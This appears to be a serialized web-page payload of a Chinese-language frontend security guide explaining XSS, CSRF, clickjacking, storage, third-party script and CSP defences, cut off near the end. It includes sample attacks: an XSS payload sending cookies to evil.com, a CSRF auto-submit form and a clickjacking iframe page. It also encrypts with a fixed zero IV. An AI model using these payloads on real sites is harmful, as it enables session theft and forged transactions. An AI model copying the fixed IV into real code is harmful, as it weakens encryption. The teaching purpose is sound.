[{"data":1,"prerenderedAt":2908},["ShallowReactive",2],{"article-/topics/frontend/frontend-security-guide":3,"related-frontend":561,"content-query-2cjcUGo7wl":2478},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"topic":5,"author":11,"tags":12,"image":17,"featured":18,"readingTime":19,"body":20,"_type":555,"_id":556,"_source":557,"_file":558,"_stem":559,"_extension":560},"/topics/frontend/frontend-security-guide","frontend",false,"","前端安全防护完整指南 - XSS、CSRF 及常见攻击防御方案","深入讲解前端安全防护策略，包括 XSS 跨站脚本攻击、CSRF 跨站请求伪造、点击劫持等常见安全威胁的原理和防御方案。提供实用的安全编码最佳实践。","2025-12-24","HTMLPAGE 团队",[13,14,15,16],"前端安全","XSS","CSRF","安全防护","/images/topics/frontend-security.jpg",true,14,{"type":21,"children":22,"toc":511},"root",[23,31,36,42,47,53,63,69,75,86,92,101,107,116,122,128,137,143,152,157,162,173,178,187,192,197,206,211,220,225,230,239,244,253,259,265,274,280,289,294,299,308,314,323,328,333,342,347,358,368,378,388,393,398,452,460,465],{"type":24,"tag":25,"props":26,"children":28},"element","h2",{"id":27},"前端安全防护完整指南",[29],{"type":30,"value":27},"text",{"type":24,"tag":25,"props":32,"children":34},{"id":33},"概述",[35],{"type":30,"value":33},{"type":24,"tag":37,"props":38,"children":39},"p",{},[40],{"type":30,"value":41},"前端安全是 Web 应用安全的重要组成部分。随着前端应用越来越复杂，安全风险也在增加。本文将深入讲解常见的前端安全威胁及其防护方案，帮助开发者构建安全可靠的 Web 应用。",{"type":24,"tag":25,"props":43,"children":45},{"id":44},"安全威胁概览",[46],{"type":30,"value":44},{"type":24,"tag":48,"props":49,"children":51},"h3",{"id":50},"前端安全威胁分类",[52],{"type":30,"value":50},{"type":24,"tag":54,"props":55,"children":57},"pre",{"code":56},"前端安全威胁体系\n\n注入类攻击\n├── XSS（跨站脚本攻击）\n│   ├── 反射型 XSS\n│   ├── 存储型 XSS\n│   └── DOM 型 XSS\n├── SQL 注入（前端相关）\n└── 命令注入\n\n身份与会话攻击\n├── CSRF（跨站请求伪造）\n├── 会话劫持\n├── 会话固定\n└── Cookie 窃取\n\n客户端攻击\n├── 点击劫持\n├── 开放重定向\n├── 第三方脚本风险\n└── 本地存储泄露\n\n传输层攻击\n├── 中间人攻击\n├── 协议降级\n└── 证书欺骗\n",[58],{"type":24,"tag":59,"props":60,"children":61},"code",{"__ignoreMap":7},[62],{"type":30,"value":56},{"type":24,"tag":25,"props":64,"children":66},{"id":65},"xss-跨站脚本攻击",[67],{"type":30,"value":68},"XSS 跨站脚本攻击",{"type":24,"tag":48,"props":70,"children":72},{"id":71},"xss-类型详解",[73],{"type":30,"value":74},"XSS 类型详解",{"type":24,"tag":54,"props":76,"children":81},{"code":77,"language":78,"meta":7,"className":79},"// 1. 反射型 XSS（Reflected XSS）\n// 恶意脚本通过 URL 参数注入\n\n// 危险的 URL：\n// https://example.com/search?q=\u003Cscript>alert('XSS')\u003C/script>\n\n// 不安全的代码\nfunction unsafeReflectedXSS() {\n  const params = new URLSearchParams(window.location.search)\n  const query = params.get('q')\n  \n  // ❌ 直接插入未转义内容\n  document.getElementById('result').innerHTML = `搜索结果: ${query}`\n}\n\n// 2. 存储型 XSS（Stored XSS）\n// 恶意脚本被永久存储在服务器\n\n// 用户提交的评论：\n// \u003Cscript>document.location='https://evil.com?c='+document.cookie\u003C/script>\n\n// 不安全的渲染\nfunction unsafeStoredXSS(comment) {\n  // ❌ 直接渲染用户输入\n  document.getElementById('comments').innerHTML += `\n    \u003Cdiv class=\"comment\">${comment.content}\u003C/div>\n  `\n}\n\n// 3. DOM 型 XSS（DOM-based XSS）\n// 完全在客户端发生，不经过服务器\n\nfunction unsafeDOMXSS() {\n  // ❌ 危险：直接使用 location.hash\n  const hash = location.hash.substring(1)\n  document.getElementById('content').innerHTML = hash\n}\n","javascript",[80],"language-javascript",[82],{"type":24,"tag":59,"props":83,"children":84},{"__ignoreMap":7},[85],{"type":30,"value":77},{"type":24,"tag":48,"props":87,"children":89},{"id":88},"xss-防御方案",[90],{"type":30,"value":91},"XSS 防御方案",{"type":24,"tag":54,"props":93,"children":96},{"code":94,"language":78,"meta":7,"className":95},"// 防御方案 1：输出编码（最重要）\nconst escapeHTML = (str) => {\n  const escapeMap = {\n    '&': '&amp;',\n    '\u003C': '&lt;',\n    '>': '&gt;',\n    '\"': '&quot;',\n    \"'\": '&#x27;',\n    '/': '&#x2F;'\n  }\n  return String(str).replace(/[&\u003C>\"'/]/g, (char) => escapeMap[char])\n}\n\n// 安全的内容渲染\nfunction safeRender(userInput) {\n  const safeContent = escapeHTML(userInput)\n  document.getElementById('output').innerHTML = safeContent\n}\n\n// 防御方案 2：使用 textContent 而非 innerHTML\nfunction safeTextRender(userInput) {\n  // ✅ textContent 不会解析 HTML\n  document.getElementById('output').textContent = userInput\n}\n\n// 防御方案 3：使用 DOMPurify 净化 HTML\nimport DOMPurify from 'dompurify'\n\nfunction safePurifyRender(userHTML) {\n  // ✅ 移除所有危险内容\n  const clean = DOMPurify.sanitize(userHTML, {\n    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],\n    ALLOWED_ATTR: ['href', 'target']\n  })\n  document.getElementById('output').innerHTML = clean\n}\n\n// 防御方案 4：CSP（Content Security Policy）\n// 在 HTTP 头中设置\nconst cspHeader = {\n  'Content-Security-Policy': [\n    \"default-src 'self'\",\n    \"script-src 'self' 'nonce-{random}'\",\n    \"style-src 'self' 'unsafe-inline'\",\n    \"img-src 'self' data: https:\",\n    \"connect-src 'self' https://api.example.com\",\n    \"frame-ancestors 'none'\"\n  ].join('; ')\n}\n",[80],[97],{"type":24,"tag":59,"props":98,"children":99},{"__ignoreMap":7},[100],{"type":30,"value":94},{"type":24,"tag":48,"props":102,"children":104},{"id":103},"框架中的-xss-防护",[105],{"type":30,"value":106},"框架中的 XSS 防护",{"type":24,"tag":54,"props":108,"children":111},{"code":109,"language":78,"meta":7,"className":110},"// Vue.js 自动转义\n// Vue 模板中的 {{ }} 会自动转义\nconst vueExample = {\n  template: `\n    \u003C!-- ✅ 自动转义，安全 -->\n    \u003Cdiv>{{ userInput }}\u003C/div>\n    \n    \u003C!-- ❌ v-html 不转义，需要手动净化 -->\n    \u003Cdiv v-html=\"sanitizedHTML\">\u003C/div>\n  `,\n  computed: {\n    sanitizedHTML() {\n      return DOMPurify.sanitize(this.userHTML)\n    }\n  }\n}\n\n// React 自动转义\nfunction ReactExample({ userInput }) {\n  return (\n    \u003C>\n      {/* ✅ JSX 表达式自动转义 */}\n      \u003Cdiv>{userInput}\u003C/div>\n      \n      {/* ❌ dangerouslySetInnerHTML 危险，需要净化 */}\n      \u003Cdiv dangerouslySetInnerHTML={{ \n        __html: DOMPurify.sanitize(userHTML) \n      }} />\n    \u003C/>\n  )\n}\n",[80],[112],{"type":24,"tag":59,"props":113,"children":114},{"__ignoreMap":7},[115],{"type":30,"value":109},{"type":24,"tag":25,"props":117,"children":119},{"id":118},"csrf-跨站请求伪造",[120],{"type":30,"value":121},"CSRF 跨站请求伪造",{"type":24,"tag":48,"props":123,"children":125},{"id":124},"csrf-攻击原理",[126],{"type":30,"value":127},"CSRF 攻击原理",{"type":24,"tag":54,"props":129,"children":132},{"code":130,"language":78,"meta":7,"className":131},"// CSRF 攻击场景示例\n\n// 1. 用户登录银行网站 bank.com\n// 2. 用户访问恶意网站 evil.com\n// 3. evil.com 页面包含：\n\n// 恶意表单（自动提交）\nconst maliciousForm = `\n\u003Cform action=\"https://bank.com/transfer\" method=\"POST\" id=\"csrf-form\">\n  \u003Cinput type=\"hidden\" name=\"to\" value=\"attacker-account\">\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"10000\">\n\u003C/form>\n\u003Cscript>document.getElementById('csrf-form').submit()\u003C/script>\n`\n\n// 恶意图片（GET 请求）\nconst maliciousImage = `\n\u003Cimg src=\"https://bank.com/transfer?to=attacker&amount=10000\">\n`\n\n// 问题：浏览器会自动携带 bank.com 的 Cookie\n// 服务器无法区分正常请求和伪造请求\n",[80],[133],{"type":24,"tag":59,"props":134,"children":135},{"__ignoreMap":7},[136],{"type":30,"value":130},{"type":24,"tag":48,"props":138,"children":140},{"id":139},"csrf-防御方案",[141],{"type":30,"value":142},"CSRF 防御方案",{"type":24,"tag":54,"props":144,"children":147},{"code":145,"language":78,"meta":7,"className":146},"// 防御方案 1：CSRF Token\n// 服务端生成，嵌入页面，每次请求携带\n\n// 获取 CSRF Token\nfunction getCSRFToken() {\n  // 从 meta 标签获取\n  return document.querySelector('meta[name=\"csrf-token\"]')?.content\n  // 或从 Cookie 获取\n  // return document.cookie.match(/csrftoken=([^;]+)/)?.[1]\n}\n\n// 请求时携带 Token\nasync function secureRequest(url, data) {\n  const response = await fetch(url, {\n    method: 'POST',\n    headers: {\n      'Content-Type': 'application/json',\n      'X-CSRF-Token': getCSRFToken()  // 携带 Token\n    },\n    body: JSON.stringify(data)\n  })\n  return response.json()\n}\n\n// 防御方案 2：SameSite Cookie\n// 设置 Cookie 的 SameSite 属性\nconst secureCookie = {\n  // Strict: 完全禁止跨站发送\n  'Set-Cookie': 'sessionId=xxx; SameSite=Strict; Secure; HttpOnly',\n  \n  // Lax: 允许顶级导航的 GET 请求（推荐）\n  'Set-Cookie': 'sessionId=xxx; SameSite=Lax; Secure; HttpOnly'\n}\n\n// 防御方案 3：验证 Referer/Origin\n// 服务端验证请求来源\nfunction validateOrigin(request) {\n  const origin = request.headers.origin || request.headers.referer\n  const allowedOrigins = ['https://example.com', 'https://www.example.com']\n  \n  if (!origin || !allowedOrigins.some(o => origin.startsWith(o))) {\n    throw new Error('Invalid origin')\n  }\n}\n\n// 防御方案 4：双重 Cookie 验证\n// Cookie 中的值必须与请求头/参数中的值匹配\nasync function doubleSubmitCookie(url, data) {\n  const csrfToken = document.cookie.match(/csrf=([^;]+)/)?.[1]\n  \n  const response = await fetch(url, {\n    method: 'POST',\n    headers: {\n      'Content-Type': 'application/json',\n      'X-CSRF-Token': csrfToken  // 必须匹配 Cookie 中的值\n    },\n    credentials: 'include',\n    body: JSON.stringify(data)\n  })\n  return response.json()\n}\n",[80],[148],{"type":24,"tag":59,"props":149,"children":150},{"__ignoreMap":7},[151],{"type":30,"value":145},{"type":24,"tag":25,"props":153,"children":155},{"id":154},"点击劫持防护",[156],{"type":30,"value":154},{"type":24,"tag":48,"props":158,"children":160},{"id":159},"点击劫持原理",[161],{"type":30,"value":159},{"type":24,"tag":54,"props":163,"children":168},{"code":164,"language":165,"meta":7,"className":166},"\u003C!-- 攻击者页面 evil.com -->\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0;  /* 完全透明 */\n    z-index: 100;\n  }\n  #fake-button {\n    position: absolute;\n    top: 50%;\n    left: 50%;\n    transform: translate(-50%, -50%);\n  }\n\u003C/style>\n\n\u003C!-- 透明的目标网站 iframe -->\n\u003Ciframe id=\"target-frame\" src=\"https://bank.com/transfer\">\u003C/iframe>\n\n\u003C!-- 用户看到的诱骗按钮 -->\n\u003Cbutton id=\"fake-button\">点击领取奖品！\u003C/button>\n\n\u003C!-- 用户点击\"奖品\"按钮时，实际点击的是银行的转账按钮 -->\n","html",[167],"language-html",[169],{"type":24,"tag":59,"props":170,"children":171},{"__ignoreMap":7},[172],{"type":30,"value":164},{"type":24,"tag":48,"props":174,"children":176},{"id":175},"点击劫持防御",[177],{"type":30,"value":175},{"type":24,"tag":54,"props":179,"children":182},{"code":180,"language":78,"meta":7,"className":181},"// 防御方案 1：X-Frame-Options 响应头\nconst frameOptions = {\n  // 完全禁止嵌入\n  'X-Frame-Options': 'DENY',\n  \n  // 只允许同源嵌入\n  'X-Frame-Options': 'SAMEORIGIN',\n  \n  // 允许特定域名（已废弃，使用 CSP）\n  'X-Frame-Options': 'ALLOW-FROM https://trusted.com'\n}\n\n// 防御方案 2：CSP frame-ancestors\nconst cspFrameAncestors = {\n  // 禁止任何嵌入\n  'Content-Security-Policy': \"frame-ancestors 'none'\",\n  \n  // 只允许同源\n  'Content-Security-Policy': \"frame-ancestors 'self'\",\n  \n  // 允许特定域名\n  'Content-Security-Policy': \"frame-ancestors 'self' https://trusted.com\"\n}\n\n// 防御方案 3：JavaScript 框架破坏（Frame Busting）\n// 检测是否被嵌入 iframe\nif (window.top !== window.self) {\n  // 尝试跳出 iframe\n  window.top.location = window.self.location\n}\n\n// 更安全的检测方式\nfunction preventFraming() {\n  try {\n    // 如果被嵌入且跨域，访问 top.location.href 会抛出错误\n    if (window.top.location.href !== window.self.location.href) {\n      window.top.location = window.self.location\n    }\n  } catch (e) {\n    // 跨域嵌入，强制跳出\n    window.top.location = window.self.location\n  }\n}\n",[80],[183],{"type":24,"tag":59,"props":184,"children":185},{"__ignoreMap":7},[186],{"type":30,"value":180},{"type":24,"tag":25,"props":188,"children":190},{"id":189},"敏感数据保护",[191],{"type":30,"value":189},{"type":24,"tag":48,"props":193,"children":195},{"id":194},"本地存储安全",[196],{"type":30,"value":194},{"type":24,"tag":54,"props":198,"children":201},{"code":199,"language":78,"meta":7,"className":200},"// ❌ 不安全的存储方式\nfunction unsafeStorage() {\n  // 明文存储敏感信息\n  localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...')\n  localStorage.setItem('userPassword', 'user123')\n}\n\n// ✅ 安全的存储策略\nconst secureStorage = {\n  // 1. 不存储敏感信息\n  // Token 应该存储在 HttpOnly Cookie 中\n  \n  // 2. 如果必须使用 localStorage，加密存储\n  encrypt(data, key) {\n    // 使用 Web Crypto API\n    return window.crypto.subtle.encrypt(\n      { name: 'AES-GCM', iv: new Uint8Array(12) },\n      key,\n      new TextEncoder().encode(data)\n    )\n  },\n\n  // 3. 存储非敏感的、可接受泄露的数据\n  safeData: ['theme', 'language', 'lastVisitedPage'],\n\n  // 4. 设置合理的过期时间\n  setWithExpiry(key, value, ttl) {\n    const item = {\n      value: value,\n      expiry: Date.now() + ttl\n    }\n    localStorage.setItem(key, JSON.stringify(item))\n  },\n\n  getWithExpiry(key) {\n    const itemStr = localStorage.getItem(key)\n    if (!itemStr) return null\n\n    const item = JSON.parse(itemStr)\n    if (Date.now() > item.expiry) {\n      localStorage.removeItem(key)\n      return null\n    }\n    return item.value\n  }\n}\n\n// 清理敏感数据\nfunction clearSensitiveData() {\n  // 退出登录时清理\n  localStorage.clear()\n  sessionStorage.clear()\n  \n  // 清理特定 Cookie\n  document.cookie.split(';').forEach(cookie => {\n    const name = cookie.split('=')[0].trim()\n    document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`\n  })\n}\n",[80],[202],{"type":24,"tag":59,"props":203,"children":204},{"__ignoreMap":7},[205],{"type":30,"value":199},{"type":24,"tag":48,"props":207,"children":209},{"id":208},"密码安全",[210],{"type":30,"value":208},{"type":24,"tag":54,"props":212,"children":215},{"code":213,"language":78,"meta":7,"className":214},"// 前端密码处理最佳实践\nconst passwordSecurity = {\n  // 1. 永远不要明文传输密码\n  // 使用 HTTPS\n  \n  // 2. 前端哈希（可选，主要依赖后端）\n  async hashPassword(password) {\n    const encoder = new TextEncoder()\n    const data = encoder.encode(password)\n    const hashBuffer = await crypto.subtle.digest('SHA-256', data)\n    return Array.from(new Uint8Array(hashBuffer))\n      .map(b => b.toString(16).padStart(2, '0'))\n      .join('')\n  },\n\n  // 3. 密码强度检查\n  checkStrength(password) {\n    const checks = {\n      length: password.length >= 8,\n      lowercase: /[a-z]/.test(password),\n      uppercase: /[A-Z]/.test(password),\n      numbers: /[0-9]/.test(password),\n      special: /[!@#$%^&*(),.?\":{}|\u003C>]/.test(password)\n    }\n    \n    const score = Object.values(checks).filter(Boolean).length\n    \n    return {\n      score,\n      checks,\n      strength: score \u003C 3 ? 'weak' : score \u003C 5 ? 'medium' : 'strong'\n    }\n  },\n\n  // 4. 防止密码泄露到日志\n  sanitizeForLogging(data) {\n    const sensitiveFields = ['password', 'token', 'secret', 'key']\n    const sanitized = { ...data }\n    \n    sensitiveFields.forEach(field => {\n      if (field in sanitized) {\n        sanitized[field] = '[REDACTED]'\n      }\n    })\n    \n    return sanitized\n  }\n}\n",[80],[216],{"type":24,"tag":59,"props":217,"children":218},{"__ignoreMap":7},[219],{"type":30,"value":213},{"type":24,"tag":25,"props":221,"children":223},{"id":222},"第三方脚本安全",[224],{"type":30,"value":222},{"type":24,"tag":48,"props":226,"children":228},{"id":227},"第三方脚本风险",[229],{"type":30,"value":227},{"type":24,"tag":54,"props":231,"children":234},{"code":232,"language":78,"meta":7,"className":233},"// 第三方脚本可能的风险\nconst thirdPartyRisks = {\n  // 1. 数据窃取\n  dataTheft: '访问 DOM、Cookie、localStorage',\n  \n  // 2. 恶意行为\n  maliciousActions: '修改页面内容、重定向用户',\n  \n  // 3. 性能影响\n  performance: '阻塞渲染、占用资源',\n  \n  // 4. 供应链攻击\n  supplyChain: '脚本被入侵后注入恶意代码'\n}\n",[80],[235],{"type":24,"tag":59,"props":236,"children":237},{"__ignoreMap":7},[238],{"type":30,"value":232},{"type":24,"tag":48,"props":240,"children":242},{"id":241},"第三方脚本防护",[243],{"type":30,"value":241},{"type":24,"tag":54,"props":245,"children":248},{"code":246,"language":78,"meta":7,"className":247},"// 防护方案 1：Subresource Integrity (SRI)\n// 验证脚本内容完整性\nconst sriExample = `\n\u003Cscript \n  src=\"https://cdn.example.com/library.js\"\n  integrity=\"sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC\"\n  crossorigin=\"anonymous\">\n\u003C/script>\n`\n\n// 防护方案 2：CSP 限制\nconst cspForThirdParty = {\n  'Content-Security-Policy': [\n    \"script-src 'self' https://trusted-cdn.com\",\n    \"connect-src 'self' https://api.trusted.com\"\n  ].join('; ')\n}\n\n// 防护方案 3：沙箱化第三方脚本\nfunction sandboxThirdParty() {\n  // 使用 iframe 隔离\n  const sandbox = document.createElement('iframe')\n  sandbox.sandbox = 'allow-scripts'  // 限制权限\n  sandbox.src = 'about:blank'\n  document.body.appendChild(sandbox)\n  \n  // 在 iframe 中加载脚本\n  sandbox.contentDocument.write(`\n    \u003Cscript src=\"https://third-party.com/script.js\">\u003C/script>\n  `)\n}\n\n// 防护方案 4：监控第三方脚本行为\nconst scriptMonitor = {\n  // 记录所有外部请求\n  init() {\n    const originalFetch = window.fetch\n    window.fetch = function(...args) {\n      console.log('Fetch request:', args[0])\n      // 可以在这里进行拦截或上报\n      return originalFetch.apply(this, args)\n    }\n\n    const originalXHR = XMLHttpRequest.prototype.open\n    XMLHttpRequest.prototype.open = function(method, url) {\n      console.log('XHR request:', url)\n      return originalXHR.apply(this, arguments)\n    }\n  }\n}\n",[80],[249],{"type":24,"tag":59,"props":250,"children":251},{"__ignoreMap":7},[252],{"type":30,"value":246},{"type":24,"tag":25,"props":254,"children":256},{"id":255},"content-security-policy-csp",[257],{"type":30,"value":258},"Content Security Policy (CSP)",{"type":24,"tag":48,"props":260,"children":262},{"id":261},"csp-配置详解",[263],{"type":30,"value":264},"CSP 配置详解",{"type":24,"tag":54,"props":266,"children":269},{"code":267,"language":78,"meta":7,"className":268},"// 完整的 CSP 配置示例\nconst cspPolicy = {\n  // 默认策略\n  \"default-src\": [\"'self'\"],\n  \n  // 脚本来源\n  \"script-src\": [\n    \"'self'\",\n    \"'nonce-{random}'\",  // 内联脚本需要 nonce\n    \"https://trusted-cdn.com\"\n  ],\n  \n  // 样式来源\n  \"style-src\": [\n    \"'self'\",\n    \"'unsafe-inline'\",  // 允许内联样式（谨慎使用）\n    \"https://fonts.googleapis.com\"\n  ],\n  \n  // 图片来源\n  \"img-src\": [\n    \"'self'\",\n    \"data:\",\n    \"https:\"\n  ],\n  \n  // 字体来源\n  \"font-src\": [\n    \"'self'\",\n    \"https://fonts.gstatic.com\"\n  ],\n  \n  // API 请求\n  \"connect-src\": [\n    \"'self'\",\n    \"https://api.example.com\",\n    \"wss://websocket.example.com\"\n  ],\n  \n  // iframe 嵌入\n  \"frame-src\": [\"'none'\"],\n  \n  // 被嵌入\n  \"frame-ancestors\": [\"'none'\"],\n  \n  // 表单提交\n  \"form-action\": [\"'self'\"],\n  \n  // 升级不安全请求\n  \"upgrade-insecure-requests\": true,\n  \n  // 报告违规\n  \"report-uri\": \"/csp-report\"\n}\n\n// 生成 CSP 头\nfunction generateCSPHeader(policy) {\n  return Object.entries(policy)\n    .map(([key, values]) => {\n      if (typeof values === 'boolean') {\n        return values ? key : ''\n      }\n      return `${key} ${values.join(' ')}`\n    })\n    .filter(Boolean)\n    .join('; ')\n}\n",[80],[270],{"type":24,"tag":59,"props":271,"children":272},{"__ignoreMap":7},[273],{"type":30,"value":267},{"type":24,"tag":48,"props":275,"children":277},{"id":276},"csp-报告与监控",[278],{"type":30,"value":279},"CSP 报告与监控",{"type":24,"tag":54,"props":281,"children":284},{"code":282,"language":78,"meta":7,"className":283},"// 接收 CSP 违规报告\n// server/api/csp-report.ts\nexport default defineEventHandler(async (event) => {\n  const body = await readBody(event)\n  \n  // 记录违规报告\n  console.log('CSP Violation:', body['csp-report'])\n  \n  // 可以发送到监控系统\n  await sendToMonitoring({\n    type: 'csp-violation',\n    details: body['csp-report'],\n    timestamp: Date.now()\n  })\n\n  return { received: true }\n})\n\n// 使用 Report-Only 模式测试\nconst cspReportOnly = {\n  'Content-Security-Policy-Report-Only': `\n    default-src 'self';\n    script-src 'self';\n    report-uri /csp-report\n  `\n}\n",[80],[285],{"type":24,"tag":59,"props":286,"children":287},{"__ignoreMap":7},[288],{"type":30,"value":282},{"type":24,"tag":25,"props":290,"children":292},{"id":291},"安全编码最佳实践",[293],{"type":30,"value":291},{"type":24,"tag":48,"props":295,"children":297},{"id":296},"输入验证",[298],{"type":30,"value":296},{"type":24,"tag":54,"props":300,"children":303},{"code":301,"language":78,"meta":7,"className":302},"// 前端输入验证（防御层之一，不能替代后端验证）\nconst inputValidation = {\n  // 邮箱验证\n  isValidEmail(email) {\n    const emailRegex = /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/\n    return emailRegex.test(email)\n  },\n\n  // URL 验证（防止 javascript: 协议）\n  isValidURL(url) {\n    try {\n      const parsed = new URL(url)\n      return ['http:', 'https:'].includes(parsed.protocol)\n    } catch {\n      return false\n    }\n  },\n\n  // 安全的重定向\n  safeRedirect(url) {\n    // 只允许同源或白名单域名\n    const allowedDomains = ['example.com', 'trusted.com']\n    \n    try {\n      const parsed = new URL(url, window.location.origin)\n      \n      // 检查是否同源\n      if (parsed.origin === window.location.origin) {\n        return url\n      }\n      \n      // 检查是否在白名单\n      if (allowedDomains.some(d => parsed.hostname.endsWith(d))) {\n        return url\n      }\n      \n      // 不安全的 URL，返回首页\n      return '/'\n    } catch {\n      return '/'\n    }\n  },\n\n  // 清理文件名（防止路径遍历）\n  sanitizeFileName(name) {\n    return name\n      .replace(/\\.\\./g, '')  // 移除路径遍历\n      .replace(/[/\\\\]/g, '') // 移除路径分隔符\n      .replace(/[\u003C>:\"|?*]/g, '') // 移除非法字符\n  }\n}\n",[80],[304],{"type":24,"tag":59,"props":305,"children":306},{"__ignoreMap":7},[307],{"type":30,"value":301},{"type":24,"tag":48,"props":309,"children":311},{"id":310},"安全的-api-调用",[312],{"type":30,"value":313},"安全的 API 调用",{"type":24,"tag":54,"props":315,"children":318},{"code":316,"language":78,"meta":7,"className":317},"// 安全的 API 调用封装\nclass SecureAPI {\n  constructor(baseURL) {\n    this.baseURL = baseURL\n  }\n\n  async request(endpoint, options = {}) {\n    const url = new URL(endpoint, this.baseURL)\n    \n    // 确保使用 HTTPS\n    if (url.protocol !== 'https:' && !url.hostname.includes('localhost')) {\n      throw new Error('Only HTTPS is allowed')\n    }\n\n    const defaultOptions = {\n      credentials: 'same-origin',  // 或 'include' 用于跨域\n      headers: {\n        'Content-Type': 'application/json',\n        'X-Requested-With': 'XMLHttpRequest'  // 标识 AJAX 请求\n      }\n    }\n\n    // 添加 CSRF Token\n    const csrfToken = this.getCSRFToken()\n    if (csrfToken) {\n      defaultOptions.headers['X-CSRF-Token'] = csrfToken\n    }\n\n    const response = await fetch(url.toString(), {\n      ...defaultOptions,\n      ...options,\n      headers: {\n        ...defaultOptions.headers,\n        ...options.headers\n      }\n    })\n\n    // 检查响应\n    if (!response.ok) {\n      const error = await response.json().catch(() => ({}))\n      throw new Error(error.message || `HTTP ${response.status}`)\n    }\n\n    return response.json()\n  }\n\n  getCSRFToken() {\n    return document.querySelector('meta[name=\"csrf-token\"]')?.content\n  }\n\n  // 安全的 GET 请求\n  async get(endpoint, params = {}) {\n    const url = new URL(endpoint, this.baseURL)\n    Object.entries(params).forEach(([key, value]) => {\n      url.searchParams.append(key, value)\n    })\n    return this.request(url.toString())\n  }\n\n  // 安全的 POST 请求\n  async post(endpoint, data) {\n    return this.request(endpoint, {\n      method: 'POST',\n      body: JSON.stringify(data)\n    })\n  }\n}\n",[80],[319],{"type":24,"tag":59,"props":320,"children":321},{"__ignoreMap":7},[322],{"type":30,"value":316},{"type":24,"tag":25,"props":324,"children":326},{"id":325},"安全检查清单",[327],{"type":30,"value":325},{"type":24,"tag":48,"props":329,"children":331},{"id":330},"开发阶段",[332],{"type":30,"value":330},{"type":24,"tag":54,"props":334,"children":337},{"code":335,"language":78,"meta":7,"className":336},"// 安全检查清单\nconst securityChecklist = {\n  xss: [\n    '所有用户输入都经过转义或净化',\n    '使用 textContent 而非 innerHTML',\n    '如需渲染 HTML，使用 DOMPurify',\n    '实施了 CSP 策略',\n    '框架的自动转义功能已启用'\n  ],\n\n  csrf: [\n    '所有状态修改请求都携带 CSRF Token',\n    'Cookie 设置了 SameSite 属性',\n    '验证了请求的 Origin/Referer'\n  ],\n\n  authentication: [\n    'Token 存储在 HttpOnly Cookie 中',\n    '实施了合理的会话超时',\n    '敏感操作需要重新验证'\n  ],\n\n  dataProtection: [\n    'localStorage 中没有敏感数据',\n    '密码从不明文存储或日志记录',\n    '使用 HTTPS 传输所有数据'\n  ],\n\n  thirdParty: [\n    '第三方脚本使用了 SRI',\n    '限制了第三方脚本权限',\n    '定期审计第三方依赖'\n  ]\n}\n",[80],[338],{"type":24,"tag":59,"props":339,"children":340},{"__ignoreMap":7},[341],{"type":30,"value":335},{"type":24,"tag":25,"props":343,"children":345},{"id":344},"常见问题解答",[346],{"type":30,"value":344},{"type":24,"tag":37,"props":348,"children":349},{},[350,356],{"type":24,"tag":351,"props":352,"children":353},"strong",{},[354],{"type":30,"value":355},"Q: 前端验证能否替代后端验证？",{"type":30,"value":357},"\nA: 不能。前端验证只是用户体验优化和第一道防线，所有安全验证必须在后端重复进行，因为前端代码可以被绑过。",{"type":24,"tag":37,"props":359,"children":360},{},[361,366],{"type":24,"tag":351,"props":362,"children":363},{},[364],{"type":30,"value":365},"Q: JWT 应该存储在哪里？",{"type":30,"value":367},"\nA: 最安全的方式是存储在 HttpOnly Cookie 中（防止 XSS 窃取），配合 CSRF Token 防止 CSRF 攻击。localStorage 容易被 XSS 攻击窃取。",{"type":24,"tag":37,"props":369,"children":370},{},[371,376],{"type":24,"tag":351,"props":372,"children":373},{},[374],{"type":30,"value":375},"Q: 如何安全地处理用户上传的文件？",{"type":30,"value":377},"\nA: 前端只做格式和大小校验，真正的安全检查（类型验证、病毒扫描、内容检测）必须在后端进行。永远不要信任客户端的 MIME 类型声明。",{"type":24,"tag":37,"props":379,"children":380},{},[381,386],{"type":24,"tag":351,"props":382,"children":383},{},[384],{"type":30,"value":385},"Q: CSP 会影响性能吗？",{"type":30,"value":387},"\nA: CSP 本身开销很小。但如果配置过于严格导致需要频繁调整，可能影响开发效率。建议先用 Report-Only 模式测试。",{"type":24,"tag":25,"props":389,"children":391},{"id":390},"总结",[392],{"type":30,"value":390},{"type":24,"tag":37,"props":394,"children":395},{},[396],{"type":30,"value":397},"前端安全是一个多层防御的过程：",{"type":24,"tag":399,"props":400,"children":401},"ol",{},[402,413,423,432,442],{"type":24,"tag":403,"props":404,"children":405},"li",{},[406,411],{"type":24,"tag":351,"props":407,"children":408},{},[409],{"type":30,"value":410},"XSS 防护",{"type":30,"value":412}," - 输出编码、CSP、使用安全 API",{"type":24,"tag":403,"props":414,"children":415},{},[416,421],{"type":24,"tag":351,"props":417,"children":418},{},[419],{"type":30,"value":420},"CSRF 防护",{"type":30,"value":422}," - Token、SameSite Cookie、Origin 验证",{"type":24,"tag":403,"props":424,"children":425},{},[426,430],{"type":24,"tag":351,"props":427,"children":428},{},[429],{"type":30,"value":154},{"type":30,"value":431}," - X-Frame-Options、CSP frame-ancestors",{"type":24,"tag":403,"props":433,"children":434},{},[435,440],{"type":24,"tag":351,"props":436,"children":437},{},[438],{"type":30,"value":439},"数据保护",{"type":30,"value":441}," - 安全存储、HTTPS、敏感数据处理",{"type":24,"tag":403,"props":443,"children":444},{},[445,450],{"type":24,"tag":351,"props":446,"children":447},{},[448],{"type":30,"value":449},"第三方安全",{"type":30,"value":451}," - 